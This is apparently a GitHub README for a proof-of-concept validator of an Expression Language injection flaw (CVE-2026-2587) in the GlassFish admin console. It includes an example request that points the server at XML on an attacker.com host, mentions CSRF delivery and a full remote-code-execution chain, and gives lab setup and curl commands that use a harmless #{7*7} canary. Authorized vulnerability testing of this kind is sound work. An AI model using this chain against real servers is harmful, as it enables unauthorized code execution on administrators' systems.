CVE-2026-2587 PoC validator for Eclipse GlassFish EL Injection RCE in the admin console gadget.jsf handler. Safe authenticated vulnerability scanner for authorized testing.
Safe PoC validator for CVE-2026-2587, a critical EL Injection / RCE issue affecting Eclipse GlassFish admin console gadget handling via /common/gadgets/gadget.jsf.
This tool helps security teams validate GlassFish CVE-2026-2587 exposure in authorized environments using a benign arithmetic EL canary.
Assigned by: Eclipse Foundation (CNA) · Published: May 19, 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Expression Language Injection Affected versions:Unknownin the public advisory as of May 21, 2026 Patched versions:Unknownin the public advisory as of May 21, 2026 Scanner rule: version is routing/reporting context only; the verdict requires proof.
A critical Remote Code Execution vulnerability exists in the GlassFish admin console gadget handler. The application processes .xml files fetched from a URL supplied via the gadget= query parameter and evaluates user-supplied values inside <ModulePrefs> attributes through the Java Expression Language (EL) engine without sanitisation or escaping.
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
If the XML contains #{7*7} in a <ModulePrefs title=""> attribute, GlassFish evaluates it server-side and returns 49 — confirming EL execution. A full RCE chain follows via EL's access to the Java runtime.
Current public advisory records do not publish an affected or patched version boundary. This validator is therefore proof-first: it fingerprints GlassFish and reports version metadata, but it does not classify a target as vulnerable from a version string alone.

The safe validation path hosts a benign XML probe, sends an authenticated admin-console request to gadget.jsf, lets GlassFish fetch that XML from the callback URL, and checks whether the <ModulePrefs title=""> canary evaluates from #{7*7} to 49.
Injection point confirmed vs. not:
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Scenario | Auth needed? |
|---|---|
Direct hit to gadget.jsf | Yes — FORM auth, 200 login page |
| Real-world CSRF attack | No — weaponises admin's live session |
| This validator | Yes — --cookie or --username/--password |
| Unauthenticated exposure check | No — script tests this automatically |
The CVSS vector PR:N / UI:R means:
PR:N — attacker needs no credentials of their ownUI:R — a logged-in admin must interact (CSRF delivery)For lab validation, skip CSRF entirely — use your own admin session directly.
Requirements: Python 3.9+ · requests
git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC
cd CVE-2026-2587-Exploit-POC
pip install requests
# optional for coloured terminal output:
pip install colorama
Repo contents:
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Caveat: GHSA still lists affected and patched versions as unknown.
omnifish/glassfish:7.0.15is a strong lab candidate — not a guaranteed vulnerable build. The validation primitive remains the arithmetic canary: if#{7*7}evaluates to49, EL is active.
# from the repo root
docker compose -f docker-compose.lab.yml up
Brings up GlassFish 7.0.15 with ports bound to 127.0.0.1 only and
host.docker.internal pre-wired so the container can reach your local XML server.
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin console: https://localhost:4848 · Login: admin / admin
(Self-signed cert — browser warning is expected.)
In a second terminal:
# The repo ships with probe.xml — serve it directly:
python3 -m http.server 8000 --bind 0.0.0.0
Verify reachability from the container's perspective:
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
Log into the admin console first (browser session or --cookie), then:
curl -sk \
-H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml" \
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| Output | Meaning |
|---|---|
CVE2587_TITLE_49_END | Vulnerable — EL evaluated in ModulePrefs title |
CVE2587_BODY_49_END | Vulnerable — EL evaluated in CDATA body |
CVE2587_TITLE_#{7*7}_END | Not vulnerable / EL not evaluated |
| (no output) | GlassFish never fetched the XML — check callback reachability |
The CDATA body typically stays raw even on vulnerable builds; a positive
TITLEresult alone is sufficient to confirm the finding.
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose